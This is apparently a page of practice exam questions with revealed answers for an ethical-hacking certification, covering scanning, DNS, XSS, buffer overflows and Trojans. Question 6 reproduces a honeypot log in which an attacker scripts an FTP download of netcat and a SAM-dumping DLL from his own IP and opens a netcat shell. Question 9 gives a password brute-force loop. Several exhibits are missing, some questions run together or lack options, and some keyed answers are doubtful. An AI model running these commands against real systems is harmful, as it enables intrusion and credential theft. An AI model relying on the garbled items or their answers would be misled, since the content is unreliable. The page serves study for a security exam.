Preview real exam questions, verified answers and available explanations before choosing a study plan.
Question 1
Single choice
Theresa is the chief information security officer for her company, a large shipping company based out of New York City. In the past, Theresa and her IT employees manually checked the status of client computers on the network to see if they had the most recent Microsoft updates. Now that the company has added over 100 more clients to accommodate new departments, Theresa must find some kind of tool to see whether the clients are up-to-date or not. Theresa decides to use Qfecheck to monitor all client computers. When Theresa runs the tool, she is repeatedly told that the software does not have the proper permissions to scan. Theresa is worried that the operating system hardening that she performs on all clients is keeping the software from scanning the necessary registry keys on the client computers.
What registry key permission should Theresa check to ensure that Qfecheck runs properly?
A
In order for Qfecheck to run properly, it must have enough permission to read
B
She needs to check the permissions of the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates registry key
C
Theresa needs to look over the permissions of the registry key
D
The registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Microsoft must be checked
Reveal answer detailsClose answer details
Correct answerB
Explanation
Explanation:
Qfecheck check the registry HKLM\Software\Microsoft\Updates
Question 2
Single choice
SSL has been seen as the solution to several common security problems. Administrators will often make use of SSL to encrypt communication from point A to point B.
Why do you think this could be a bad idea if there is an Intrusion Detection System deployed to monitor the traffic between point A and B?
A
SSL is redundant if you already have IDS in place.
B
SSL will trigger rules at regular interval and force the administrator to turn them off.
C
SSL will slow down the IDS while it is breaking the encryption to see the packet content.
D
SSL will mask the content of the packet and Intrusion Detection System will be blinded.
Reveal answer detailsClose answer details
Correct answerD
Explanation
Explanation: Because the traffic is encrypted, an IDS cannot understand it or evaluate the payload.
Question 3
Single choice
Blake is in charge of securing all 20 of his company's servers. He has enabled hardware and software firewalls, hardened the operating systems and disabled all unnecessary service on all the servers. Unfortunately, there is proprietary AS400 emulation software that must run on one of the servers that requires the telnet service to function properly. Blake is especially concerned about his since telnet can be a very large security risk in an organization. Blake is concerned about how his particular server might look to an outside attacker so he decides to perform some footprinting scanning and penetration tests on the server. Blake telents into the server and types the following command:
HEAD/HTTP/1.0 After pressing enter twice, Blake gets the following results:
What has the Blake just accomplished?
A
Grabbed the banner
B
Downloaded a file to his local computer
C
Submitted a remote command to crash the server
D
Poisoned the local DNS cache of the server
Reveal answer detailsClose answer details
Correct answerA
Question 4
Single choice
When referring to the Domain Name Service, what is denoted by a `zone'?
A
It is the first domain that belongs to a company.
B
It is a collection of resource records.
C
It is the first resource record type in the SOA.
D
It is a collection of domains.
Reveal answer detailsClose answer details
Correct answerB
Explanation
Explanation: A reasonable definition of a zone would be a portion of the DNS namespace where responsibility has been delegated.
Question 5
Single choice
Study the log below and identify the scan type.
tcpdump w host 192.168.1.10
A
nmap R 192.168.1.10
B
nmap S 192.168.1.10
C
nmap V 192.168.1.10
D
nmap sO T 192.168.1.10
Reveal answer detailsClose answer details
Correct answerD
Explanation
Explanation: -sO: IP protocol scans: This method is used to determine which IP protocols are supported on a host. The technique is to send raw IP packets without any further protocol header to each specified protocol on the target machine.
Question 6
Single choice
The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The file Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.
He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below:
"cmd1.exe /c open 213.116.251.162 >ftpcom" "cmd1.exe /c echo johna2k >>ftpcom" "cmd1.exe /c echo haxedj00 >>ftpcom" "cmd1.exe /c echo get nc.exe >>ftpcom" "cmd1.exe /c echo get samdump.dll >>ftpcom" "cmd1.exe /c echo quit >>ftpcom" "cmd1.exe /c ftp s:ftpcom" "cmd1.exe /c nc l p 6969 e-cmd1.
exe" What can you infer from the exploit given?
A
It is a local exploit where the attacker logs in using username johna2k.
B
There are two attackers on the system johna2k and haxedj00.
C
The attack is a remote exploit and the hacker downloads three files.
D
The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port.
Reveal answer detailsClose answer details
Correct answerC
Question 7
Single choice
What is the algorithm used by LM for Windows2000 SAM ?
A
MD4
B
DES
C
SHA
D
SSL
Reveal answer detailsClose answer details
Correct answerB
Explanation
Explanation: Okay, this is a tricky question. We say B, DES, but it could be A "MD4" depending on what their asking - Windows 2000/XP keeps users passwords not "apparently", but as hashes, i.e. actually as "check sum" of the passwords. Let's go into the passwords keeping at large. The most interesting structure of the complex SAM-file building is so called V-block. It's size is 32 bytes and it includes hashes of the password for the local entering: NT Hash of 16-byte length, and hash used during the authentication of access to the common resources of other computers LanMan Hash, or simply LM Hash, of the same 16-byte length. Algorithms of the formation of these hashes are following: NT Hash formation: LM Hash formation:
Question 8
Single choice
Harold just got home from working at Henderson LLC where he works as an IT technician. He was able to get off early because they were not too busy. When he walks into his home office, he notices his teenage daughter on the computer, apparently chatting with someone online. As soon as she hears Harold enter the room, she closes all her windows and tries to act like she was playing a game. When Harold asks her what she was doing, she acts very nervous and does not give him a straight answer. Harold is very concerned because he does not want his daughter to fall victim to online predators and the sort. Harold doesn't necessarily want to install any programs that will restrict the sites his daughter goes to, because he doesn't want to alert her to his trying to figure out what she is doing. Harold wants to use some kind of program that will track her activities online, and send Harold an email of her activity once a day so he can see what she has been up to.
What kind of software could Harold use to accomplish this?
A
Install hardware Keylogger on her computer
B
Install screen capturing Spyware on her computer
C
Enable Remote Desktop on her computer
D
Install VNC on her computer
Reveal answer detailsClose answer details
Correct answerB
Question 9
Single choice
Eve is spending her day scanning the library computers. She notices that Alice is using a computer whose port 445 is active and listening. Eve uses the ENUM tool to enumerate Alice machine. From the command prompt, she types the following command.
For /f "tokens=1 %%a in (hackfile.txt) do net use * \\10.1.2.3\c$ /user:"Administrator" %%a
What is Eve trying to do?
A
Eve is trying to connect as an user with Administrator privileges
B
Eve is trying to enumerate all users with Administrative privileges
C
Eve is trying to carry out a password crack for user Administrator
D
Eve is trying to escalate privilege of the null user to that of Administrator
Reveal answer detailsClose answer details
Correct answerC
Explanation
Explanation: Eve tries to get a successful login using the username Administrator and passwords from the file hackfile.txt.
Question 10
Single choice
Ethereal works best on ____________.
A
Switched networks
B
Linux platforms
C
Networks using hubs
D
Windows platforms
E
LAN's
Reveal answer detailsClose answer details
Correct answerC
Explanation
Explanation: Ethereal is used for sniffing traffic. It will return the best results when used on an unswitched (i.e. hub. network.
Question 11
Single choice
TCP SYN Flood attack uses the three-way handshake mechanism.
1. An attacker at system A sends a SYN packet to victim at system B. 2. System B sends a SYN/ACK packet to victim A. 3. As a normal three-way handshake mechanism system A should send an ACK packet to system B, however, system A does not send an ACK packet to system B. In this case client B is waiting for an ACK packet from client A.
This status of client B is called _________________
A
"half-closed"
B
"half open"
C
"full-open"
D
"xmas-open"
Reveal answer detailsClose answer details
Correct answerB
Question 12
Multiple choice
As a securing consultant, what are some of the things you would recommend to a company to ensure DNS security? Select the best answers.
A
Use the same machines for DNS and other applications
B
Harden DNS servers
C
Use split-horizon operation for DNS servers
D
Restrict Zone transfers
E
Have subnet diversity between DNS servers
Reveal answer detailsClose answer details
Correct answersB, C, D, E
Explanation
Explanation:
A is not a correct answer as it is never recommended to use a DNS server for any other application. Hardening of the DNS servers makes them less vulnerable to attack. It is recommended to split internal and external DNS servers (called split-horizon operation). Zone transfers should only be accepted from authorized DNS servers. By having DNS servers on different subnets, you may prevent both from going down, even if one of your networks goes down.
Question 13
Single choice
A user on your Windows 2000 network has discovered that he can use L0phtcrack to sniff the SMB exchanges which carry user logons. The user is plugged into a hub with 23 other systems. However, he is unable to capture any logons though he knows that other users are logging in.
What do you think is the most likely reason behind this?
A
There is a NIDS present on that segment.
B
Kerberos is preventing it.
C
Windows logons cannot be sniffed.
D
L0phtcrack only sniffs logons to web servers.
Reveal answer detailsClose answer details
Correct answerB
Explanation
Explanation: In a Windows 2000 network using Kerberos you normally use pre-authentication and the user password never leaves the local machine so it is never exposed to the network so it should not be able to be sniffed.
Question 14
Single choice
This method is used to determine the Operating system and version running on a remote target system.
What is it called?
A
Service Degradation
B
OS Fingerprinting
C
Manual Target System
D
Identification Scanning
Reveal answer detailsClose answer details
Correct answerB
Question 15
Single choice
Bob is acknowledged as a hacker of repute and is popular among visitors of "underground" sites. Bob is willing to share his knowledge with those who are willing to learn, and many have expressed their interest in learning from him. However, this knowledge has a risk associated with it, as it can be used for malevolent attacks as well.
In this context, what would be the most affective method to bridge the knowledge gap between the "black" hats or crackers and the "white" hats or computer security professionals? (Choose the test answer)
A
Educate everyone with books, articles and training on risk analysis, vulnerabilities and safeguards.
B
Hire more computer security monitoring personnel to monitor computer systems and networks.
C
Make obtaining either a computer security certification or accreditation easier to achieve so more individuals feel that they are a part of something larger than life.
D
Train more National Guard and reservist in the art of computer security to help out in times of emergency or crises.
Reveal answer detailsClose answer details
Correct answerA
Explanation
Explanation:
Bridging the gap would consist of educating the white hats and the black hats equally so that their knowledge is relatively the same. Using books, articles, the internet, and professional training seminars is a way of completing this goal.
Question 16
Single choice
You wish to determine the operating system and type of web server being used. At the same time you wish to arouse no suspicion within the target organization.
While some of the methods listed below work, which holds the least risk of detection?
A
Make some phone calls and attempt to retrieve the information using social engineering.
B
Use nmap in paranoid mode and scan the web server.
C
Telnet to the web server and issue commands to illicit a response.
D
Use the netcraft web site look for the target organization's web site.
Reveal answer detailsClose answer details
Correct answerD
Explanation
Explanation: Netcraft is providing research data and analysis on many aspects of the Internet. Netcraft has explored the Internet since 1995 and is a respected authority on the market share of web servers, operating systems, hosting providers, ISPs, encrypted transactions, electronic commerce, scripting languages and content technologies on the internet.
Question 17
Single choice
Jenny a well known hacker scanning to remote host of 204.4.4.4 using nmap. She got the scanned output but she saw that 25 port states is filtered.
What is the meaning of filtered port State?
A
Can Accessible
B
Filtered by firewall
C
Closed
D
None of above
Reveal answer detailsClose answer details
Correct answerB
Explanation
Explanation: The state is either open, filtered, closed, or unfiltered. Filtered means that a firewall, filter, or other network obstacle is blocking the port so that Nmap cannot tell whether it is open or closed.
Question 18
Single choice
Which of the following activities will not be considered passive footprinting?
A
Go through the rubbish to find out any information that might have been discarded
B
Search on financial site such as Yahoo Financial to identify assets
C
Scan the range of IP address found in the target DNS database
D
Perform multiples queries using a search engine
Reveal answer detailsClose answer details
Correct answerC
Explanation
Explanation: Scanning is not considered to be passive footprinting.
Question 19
Single choice
You want to scan the live machine on the LAN, what type of scan you should use?
A
Connect
B
SYN
C
TCP
D
UDP
E
PING
Reveal answer detailsClose answer details
Correct answerE
Explanation
Explanation: The ping scan is one of the quickest scans that nmap performs, since no actual ports are queried. Unlike a port scan where thousands of packets are transferred between two stations, a ping scan requires only two frames. This scan is useful for locating active devices or determining if ICMP is passing through a firewall.
Question 20
Single choice
Consider the following code:
If an attacker can trick a victim user to click a link like this and the web application does not validate input, then the victim's browser will pop up an alert showing the users current set of cookies. An attacker can do much more damage, including stealing passwords, resetting your home page or redirecting the user to another web site.
What is the countermeasure against XSS scripting?
A
Create an IP access list and restrict connections based on port number
B
Replace "<" and ">" characters with ?lt; and ?gt; using server scripts
C
Disable Javascript in IE and Firefox browsers
D
Connect to the server using HTTPS protocol instead of HTTP
Reveal answer detailsClose answer details
Correct answerB
Explanation
Explanation: The correct answer contains a string which is an HTML-quoted version of the original script. The quoted versions of these characters will appear as literals in a browser, rather than with their special meaning as HTML tags. This prevents any script from being injected into HTML output, but it also prevents any user-supplied input from being formatted with benign HTML.
Topic 13, Web Based Password Cracking Techniques
Question 21
Single choice
On a backdoored Linux box there is a possibility that legitimate programs are modified or trojaned.
How is it possible to list processes and uids associated with them in a more reliable manner?
A
Use "Is"
B
Use "lsof"
C
Use "echo"
D
Use "netstat"
Reveal answer detailsClose answer details
Correct answerB
Explanation
Explanation: lsof is a command used in many Unix-like systems that is used to report a list of all open files and the processes that opened them. It works in and supports several UNIX flavors.
Question 22
Single choice
John is discussing security with Jane. Jane had mentioned to John earlier that she suspects an LKM has been installed on her server. She believes this is the reason that the server has been acting erratically lately. LKM stands for Loadable Kernel Module.
What does this mean in the context of Linux Security?
A
Loadable Kernel Modules are a mechanism for adding functionality to a file system without requiring a kernel recompilation.
B
Loadable Kernel Modules are a mechanism for adding functionality to an operating-system kernel after it has been recompiled and the system rebooted.
C
Loadable Kernel Modules are a mechanism for adding auditing to an operating-system kernel without requiring a kernel recompilation.
D
Loadable Kernel Modules are a mechanism for adding functionality to an operating-system kernel without requiring a kernel recompilation.
Reveal answer detailsClose answer details
Correct answerD
Explanation
Explanation: Loadable Kernel Modules, or LKM, are object files that contain code to extend the running kernel, or so-called base kernel, without the need of a kernel recompilation. Operating systems other than Linux, such as BSD systems, also provide support for LKM's. However, the Linux kernel generally makes far greater and more versatile use of LKM's than other systems. LKM's are typically used to add support for new hardware, filesystems or for adding system calls. When the functionality provided by an LKM is no longer required, it can be unloaded, freeing memory.
Question 23
Single choice
Peter extracts the SID list from Windows 2008 Server machine using the hacking tool "SIDExtracter". Here is the output of the SIDs:
From the above list identify the user account with System Administrator privileges?
A
John
B
Rebecca
C
Sheela
D
Shawn
E
Somia
F
Chang
G
Micah
Reveal answer detailsClose answer details
Correct answerF
Question 24
Single choice
You are trying to hijack a telnet session from a victim machine with IP address 10.0.0.5 to Cisco router at 10.0.0.1. You sniff the traffic and attempt to predict the sequence and acknowledgement numbers to successfully hijack the telnet session.
Here is the captured data in tcpdump.
What are the next sequence and acknowledgement numbers that the router will send to the victim machine?
While examining a log report you find out that an intrusion has been attempted by a machine whose IP address is displayed as 0xde.0xad.0xbe.0xef. It looks to you like a hexadecimal number. You perform a ping 0xde.0xad.0xbe.0xef.
Which of the following IP addresses will respond to the ping and hence will likely be responsible for the the intrusion ?
A
192.10.25.9
B
10.0.3.4
C
203.20.4.5
D
222.273.290.239
E
222.173.290.239
Reveal answer detailsClose answer details
Correct answerE
Explanation
Explanation:
Convert the hex number to binary and then to decimal. 0xde.0xad.0xbe.0xef translates to 222.173.190.239 and not 222.273.290.239
0xef = 15*1 = 15 14*16 = 224 ______ = 239
0xbe = 14*1 = 14 11*16 = 176 ______ = 190
0xad = 13*1 = 13 10*16 = 160 ______ = 173
0xde = 14*1 = 14 13*16 = 208 ______ = 222
Question 26
Single choice
What hacking attack is challenge/response authentication used to prevent?
A
Replay attacks
B
Scanning attacks
C
Session hijacking attacks
D
Password cracking attacks
Reveal answer detailsClose answer details
Correct answerA
Explanation
Explanation: A replay attack is a form of network attack in which a valid data transmission is maliciously or fraudulently repeated or delayed. This is carried out either by the originator or by an adversary who intercepts the data and retransmits it. With a challenge/response authentication you ensure that captured packets can't be retransmitted without a new authentication.
Question 27
Multiple choice
What techniques would you use to evade IDS during a Port Scan? (Select 4 answers)
A
Use fragmented IP packets
B
Spoof your IP address when launching attacks and sniff responses from the server
C
Overload the IDS with Junk traffic to mask your scan
D
Use source routing (if possible)
E
Connect to proxy servers or compromised Trojaned machines to launch attacks
Reveal answer detailsClose answer details
Correct answersA, B, D, E
Question 28
Multiple choice
You are configuring the security options of your mail server and you would like to block certain file attachments to prevent viruses and malware from entering the users inbox.
Which of the following file formats will you block?
The programmers on your team are analyzing the free, open source software being used to run FTP services on a server. They notice that there is an excessive number of fgets() and gets() on the source code. These C++ functions do not check bounds.
What kind of attack is this program susceptible to?
A
Buffer of Overflow
B
Denial of Service
C
Shatter Attack
D
Password Attack
Reveal answer detailsClose answer details
Correct answerA
Explanation
Explanation: C users must avoid using dangerous functions that do not check bounds unless they've ensured that the bounds will never get exceeded. A buffer overflow occurs when you write a set of values (usually a string of characters) into a fixed length buffer and write at least one value outside that buffer's boundaries (usually past its end). A buffer overflow can occur when reading input from the user into a buffer, but it can also occur during other kinds of processing in a program.
Question 30
Single choice
Which one of the following attacks will pass through a network layer intrusion detection system undetected?
A
A teardrop attack
B
A SYN flood attack
C
A DNS spoofing attack
D
A test.cgi attack
Reveal answer detailsClose answer details
Correct answerD
Explanation
Explanation:
Because a network-based IDS reviews packets and headers, it can also detect denial of service (DoS) attacks
Not A or B: The following sections discuss some of the possible DoS attacks available.
Smurf Fraggle
SYN Flood Teardrop DNS DoS Attacks"
Question 31
Single choice
You are performing a port scan with nmap. You are in hurry and conducting the scans at the fastest possible speed. However, you don't want to sacrifice reliability for speed. If stealth is not an issue, what type of scan should you run to get very reliable results?
A
XMAS scan
B
Stealth scan
C
Connect scan
D
Fragmented packet scan
Reveal answer detailsClose answer details
Correct answerC
Explanation
Explanation: A TCP Connect scan, named after the Unix connect() system call is the most accurate scanning method. If a port is open the operating system completes the TCP three-way handshake, and the port scanner immediately closes the connection.
Question 32
Single choice
How would you describe a simple yet very effective mechanism for sending and receiving unauthorized information or data between machines without alerting any firewalls and IDS's on a network?
A
Covert Channel
B
Crafted Channel
C
Bounce Channel
D
Deceptive Channel
Reveal answer detailsClose answer details
Correct answerA
Explanation
Explanation: A covert channel is described as: "any communication channel that can be exploited by a process to transfer information in a manner that violates the systems security policy." Essentially, it is a method of communication that is not part of an actual computer system design, but can be used to transfer information to users or system processes that normally would not be allowed access to the information.
Question 33
Single choice
A buffer overflow occurs when a program or process tries to store more data in a buffer (temporary data storage area) then it was intended to hold.
What is the most common cause of buffer overflow in software today?
A
Bad permissions on files.
B
High bandwidth and large number of users.
C
Usage of non standard programming languages.
D
Bad quality assurance on software produced.
Reveal answer detailsClose answer details
Correct answerD
Explanation
Explanation: Technically, a buffer overflow is a problem with the program's internal implementation.
Question 34
Single choice
What happens when one experiences a ping of death?
A
This is when an IP datagram is received with the "protocol" field in the IP header set to 1 (ICMP) and the "type" field in the ICMP header is set to 18 (Address Mask Reply).
B
This is when an IP datagram is received with the "protocol" field in the IP header set to 1 (ICMP), the Last Fragment bit is set, and (IP offset ` 8) + (IP data length) >65535.In other words, the IP offset (which represents the starting position of this fragment in the original packet, and which is in 8-byte units) plus the rest of the packet is greater than the maximum size for an IP packet.
C
This is when an IP datagram is received with the "protocol" field in the IP header set to 1 (ICMP) and the source equal to destination address.
D
This is when an the IP header is set to 1 (ICMP) and the "type" field in the ICMP header is set to 5 (Redirect).
Reveal answer detailsClose answer details
Correct answerB
Explanation
Explanation:
A hacker can send an IP packet to a vulnerable machine such that the last fragment contains an offest where (IP offset *8) + (IP data length)>65535. This means that when the packet is reassembled, its total length is larger than the legal limit, causing buffer overruns in the machine's OS (becouse the buffer sizes are defined only to accomodate the maximum allowed size of the packet based on RFC 791)...IDS can generally recongize such attacks by looking for packet fragments that have the IP header's protocol field set to 1 (ICMP), the last bit set, and (IP offset *8) +(IP data length)>65535" CCIE Professional Development Network Security Principles and Practices by Saadat Malik pg 414 "Ping of Death" attacks cause systems to react in an unpredictable fashion when receiving oversized IP packets. TCP/IP allows for a maximum packet size of up to 65536 octets (1 octet = 8 bits of data), containing a minimum of 20 octets of IP header information and zero or more octets of optional information, with the rest of the packet being data. Ping of Death attacks can cause crashing, freezing, and rebooting.
Question 35
Single choice
In Buffer Overflow exploit, which of the following registers gets overwritten with return address of the exploit code?
A
EIP
B
ESP
C
EAP
D
EEP
Reveal answer detailsClose answer details
Correct answerA
Explanation
Explanation: EIP is the instruction pointer which is a register, it points to your next command.
Question 36
Multiple choice
Anonymizer sites access the Internet on your behalf, protecting your personal information from disclosure. An anonymizer protects all of your computer's identifying information while it surfs for you, enabling you to remain at least one step removed from the sites you visit.
You can visit Web sites without allowing anyone to gather information on sites visited by you. Services that provide anonymity disable pop-up windows and cookies, and conceal visitor's IP address.
These services typically use a proxy server to process each HTTP request. When the user requests a Web page by clicking a hyperlink or typing a URL into their browser, the service retrieves and displays the information using its own server. The remote server (where the requested Web page resides) receives information on the anonymous Web surfing service in place of your information.
In which situations would you want to use anonymizer? (Select 3 answers)
A
Increase your Web browsing bandwidth speed by using Anonymizer
B
To protect your privacy and Identity on the Internet
C
To bypass blocking applications that would prevent access to Web sites or parts of sites that you want to visit.
D
Post negative entries in blogs without revealing your IP identity
Reveal answer detailsClose answer details
Correct answersB, C, D
Question 37
Multiple choice
What are two things that are possible when scanning UDP ports? (Choose two.
A
A reset will be returned
B
An ICMP message will be returned
C
The four-way handshake will not be completed
D
An RFC 1294 message will be returned
E
Nothing
Reveal answer detailsClose answer details
Correct answersB, E
Explanation
Explanation: Closed UDP ports can return an ICMP type 3 code 3 message. No response can mean the port is open or the packet was silently dropped.
Question 38
Single choice
What attack is being depicted here?
A
Cookie Stealing
B
Session Hijacking
C
Cross Site scripting
D
Parameter Manipulation
Reveal answer detailsClose answer details
Correct answerD
Explanation
Explanation: Manipulating the data sent between the browser and the web application to an attacker's advantage has long been a simple but effective way to make applications do things in a way the user often shouldn't be able to. In a badly designed and developed web application, malicious users can modify things like prices in web carts, session tokens or values stored in cookies and even HTTP headers. In this case the user has elevated his rights.
Question 39
Single choice
You are conducting an idlescan manually using HPING2. During the scanning process, you notice that almost every query increments the IPID-regardless of the port being queried. One or two of the queries cause the IPID to increment by more than one value.
Which of he following options would be a possible reason?
A
Hping2 can't be used for idlescanning
B
The Zombie you are using is not truly idle
C
These ports are actually open on the target system
D
A stateful inspection firewall is resetting your queries
Reveal answer detailsClose answer details
Correct answerB
Explanation
Explanation: If the IPID increments more than one value that means that there has been network traffic between the queries so the zombie is not idle.
Question 40
Single choice
Which of the following Nmap commands would be used to perform a stack fingerprinting?
A
Nmap -O -p80 <host(s.>
B
Nmap -hU -Q<host(s.>
C
Nmap -sT -p <host(s.>
D
Nmap -u -o -w2 <host>
E
Nmap -sS -0p target
Reveal answer detailsClose answer details
Correct answerA
Explanation
Explanation: This option activates remote host identification via TCP/IP fingerprinting. In other words, it uses a bunch of techniques to detect subtlety in the underlying operating system network stack of the computers you are scanning. It uses this information to create a "fingerprint" which it compares with its database of known OS fingerprints (the nmap-os-fingerprints file. to decide what type of system you are scanning.
Question 41
Single choice
What is the expected result of the following exploit?
A
Opens up a telnet listener that requires no username or password.
B
Create a FTP server with write permissions enabled.
C
Creates a share called "sasfile" on the target system.
D
Creates an account with a user name of Anonymous and a password of [email protected].
Reveal answer detailsClose answer details
Correct answerA
Explanation
Explanation:
The script being depicted is in perl (both msadc.pl and the script their using as a wrapper) -- $port, $your, $user, $pass, $host are variables that hold the port # of a DNS server, an IP, username, and FTP password. $host is set to argument variable 0 (which means the string typed directly after the command). Essentially what happens is it connects to an FTP server and downloads nc.exe (the TCP/IP swiss-army knife -- netcat) and uses nc to open a TCP port spawning cmd.exe (cmd.exe is the Win32 DOS shell on NT/2000/2003/XP), cmd.exe when spawned requires NO username or password and has the permissions of the username it is being executed as (probably guest in this instance, although it could be administrator). The #'s in the script means the text following is a comment, notice the last line in particular, if the # was removed the script would spawn a connection to itself, the host system it was running on.
Question 42
Single choice
Web servers are often the most targeted and attacked hosts on organizations' networks. Attackers may exploit software bugs in the Web server, underlying operating system, or active content to gain unauthorized access.
Identify the correct statement related to the above Web Server installation?
A
Lack of proper security policy, procedures and maintenance
B
Bugs in server software, OS and web applications
C
Installing the server with default settings
D
Unpatched security flaws in the server software, OS and applications
Reveal answer detailsClose answer details
Correct answerC
Question 43
Single choice
In Trojan terminology, what is a covert channel?
A
A channel that transfers information within a computer system or network in a way that violates the security policy
B
A legitimate communication path within a computer system or network for transfer of data
C
It is a kernel operation that hides boot processes and services to mask detection
D
It is Reverse tunneling technique that uses HTTPS protocol instead of HTTP protocol to establish connections
Reveal answer detailsClose answer details
Correct answerA
Question 44
Single choice
Lauren is performing a network audit for her entire company. The entire network is comprised of around 500 computers. Lauren starts an ICMP ping sweep by sending one IP packet to the broadcast address of the network, but only receives responses from around five hosts.
Why did this ping sweep only produce a few responses?
A
Only Windows systems will reply to this scan.
B
A switched network will not respond to packets sent to the broadcast address.
C
Only Linux and Unix-like (Non-Windows) systems will reply to this scan.
D
Only servers will reply to this scan.
Reveal answer detailsClose answer details
Correct answerC
Question 45
Multiple choice
Doug is conducting a port scan of a target network. He knows that his client target network has a web server and that there is a mail server also which is up and running. Doug has been sweeping the network but has not been able to elicit any response from the remote target.
Which of the following could be the most likely cause behind this lack of response? Select 4.
A
UDP is filtered by a gateway
B
The packet TTL value is too low and cannot reach the target
C
The host might be down
D
The destination network might be down
E
The TCP windows size does not match
F
ICMP is filtered by a gateway
Reveal answer detailsClose answer details
Correct answersA, B, C, F
Explanation
Explanation: If the destination host or the destination network is down there is no way to get an answer and if TTL (Time To Live) is set too low the UDP packets will "die" before reaching the host because of too many hops between the scanning computer and the target. The TCP receive window size is the amount of received data (in bytes) that can be buffered during a connection. The sending host can send only that amount of data before it must wait for an acknowledgment and window update from the receiving host and ICMP is mainly used for echo requests and not in port scans.
Question 46
Multiple choice
Which of the following are potential attacks on cryptography? (Select 3)
A
One-Time-Pad Attack
B
Chosen-Ciphertext Attack
C
Man-in-the-Middle Attack
D
Known-Ciphertext Attack
E
Replay Attack
Reveal answer detailsClose answer details
Correct answersB, C, E
Explanation
Explanation: A chosen-ciphertext attack (CCA) is an attack model for cryptanalysis in which the cryptanalyst chooses a ciphertext and causes it to be decrypted with an unknown key. Specific forms of this attack are sometimes termed "lunchtime" or "midnight" attacks, referring to a scenario in which an attacker gains access to an unattended decryption machine. In cryptography, a man-in-the-middle attack (MITM) is an attack in which an attacker is able to read, insert and modify at will, messages between two parties without either party knowing that the link between them has been compromised. The attacker must be able to observe and intercept messages going between the two victims. A replay attack is a form of network attack in which a valid data transmission is maliciously or fraudulently repeated or delayed. This is carried out either by the originator or by an adversary who intercepts the data and retransmits it, possibly as part of a masquerade attack by IP packet substitution (such as stream cipher attack).
Question 47
Multiple choice
Which of the following are well know password-cracking programs?(Choose all that apply.
A
L0phtcrack
B
NetCat
C
Jack the Ripper
D
Netbus
E
John the Ripper
Reveal answer detailsClose answer details
Correct answersA, E
Explanation
Explanation: L0phtcrack and John the Ripper are two well know password-cracking programs. Netcat is considered the Swiss-army knife of hacking tools, but is not used for password cracking
Question 48
Single choice
A particular database threat utilizes a SQL injection technique to penetrate a target system.
How would an attacker use this technique to compromise a database?
A
An attacker uses poorly designed input validation routines to create or alter SQL commands to gain access to unintended data or execute commands of the database
B
An attacker submits user input that executes an operating system command to compromise a target system
C
An attacker gains control of system to flood the target system with requests, preventing legitimate users from gaining access
D
An attacker utilizes an incorrect configuration that leads to access with higher-than-expected privilege of the database
Reveal answer detailsClose answer details
Correct answerA
Explanation
Explanation: Using the poorly designed input validation to alter or steal data from a database is a SQL injection attack.
Question 49
Single choice
Which type of scan does not open a full TCP connection?
A
Stealth Scan
B
XMAS Scan
C
Null Scan
D
FIN Scan
Reveal answer detailsClose answer details
Correct answerA
Explanation
Explanation: Stealth Scan: Instead of completing the full TCP three-way-handshake a full connection is not made. A SYN packet is sent to the system and if a SYN/ACK packet is received it is assumed that the port on the system is active. In that case a RST/ACK will be sent which will determined the listening state the system is in. If a RST/ACK packet is received, it is assumed that the port on the system is not active.
Question 50
Single choice
Exhibit: * Missing* Jason's Web server was attacked by a trojan virus. He runs protocol analyzer and notices that the trojan communicates to a remote server on the Internet. Shown below is the standard "hexdump" representation of the network packet, before being decoded. Jason wants to identify the trojan by looking at the destination port number and mapping to a trojan-port number database on the Internet. Identify the remote server's port number by decoding the packet?
A
Port 1890 (Net-Devil Trojan)
B
Port 1786 (Net-Devil Trojan)
C
Port 1909 (Net-Devil Trojan)
D
Port 6667 (Net-Devil Trojan)
Reveal answer detailsClose answer details
Correct answerD
Explanation
Explanation: From trace, 0x1A0B is 6667, IRC Relay Chat, which is one port used. Other ports are in the 900's.
Question 51
Single choice
John has scanned the web server with NMAP. However, he could not gather enough information to help him identify the operating system running on the remote host accurately.
What would you suggest to John to help identify the OS that is being used on the remote web server?
A
Connect to the web server with a browser and look at the web page.
B
Connect to the web server with an FTP client.
C
Telnet to port 8080 on the web server and look at the default page code.
D
Telnet to an open port and grab the banner.
Reveal answer detailsClose answer details
Correct answerD
Explanation
Explanation: Most people don't care about changing the banners presented by applications listening to open ports and therefore you should get fairly accurate information when grabbing banners from open ports with, for example, a telnet application.
Question 52
Single choice
Reflective DDoS attacks do not send traffic directly at the targeted host. Instead, they usually spoof the originating IP addresses and send the requests at the reflectors. These reflectors (usually routers or high-powered servers with a large amount of network resources at their disposal) then reply to the spoofed targeted traffic by sending loads and loads of data to the final target.
How would you detect these reflectors on your network?
A
Run floodnet tool to detect these reflectors
B
Look for the banner text by running Zobbie Zappers tools
C
Run Vulnerability scanner on your network to detect these reflectors
D
Scan the network using Nmap for the services used by these reflectors
Your boss is attempting to modify the parameters of a Web-based application in order to alter the SQL statements that are parsed to retrieve data from the database.
What would you call such an attack?
A
SQL Input attack
B
SQL Piggybacking attack
C
SQL Select attack
D
SQL Injection attack
Reveal answer detailsClose answer details
Correct answerD
Explanation
Explanation: This technique is known as SQL injection attack
Question 54
Single choice
One of the most common and the best way of cracking RSA encryption is to being to derive the two prime numbers, which are used in the RSA PKI mathematical process. If the two numbers p and q are discovered through a _________________ process, then the private key can be derived.
A
Factorization
B
Prime Detection
C
Hashing
D
Brute-forcing
Reveal answer detailsClose answer details
Correct answerA
Explanation
Explanation: In April 1994, an international cooperative group of mathematicians and computer scientists solved a 17-year-old challenge problem, the factoring of a 129-digit number, called RSA-129, into two primes. That is, RSA-129 = 1143816257578888676692357799761466120102182 9672124236256256184293570693524573389783059 7123563958705058989075147599290026879543541
= 34905295108476509491478496199038 98133417764638493387843990820577 times 32769132993266709549961988190834 461413177642967992942539798288533. Se more at http://en.wikipedia.org/wiki/RSA_Factoring_Challenge
Question 55
Single choice
Say that "abigcompany.com" had a security vulnerability in the javascript on their website in the past. They recently fixed the security vulnerability, but it had been there for many months. Is there some way to 4go back and see the code for that error? Select the best answer.
A
archive.org
B
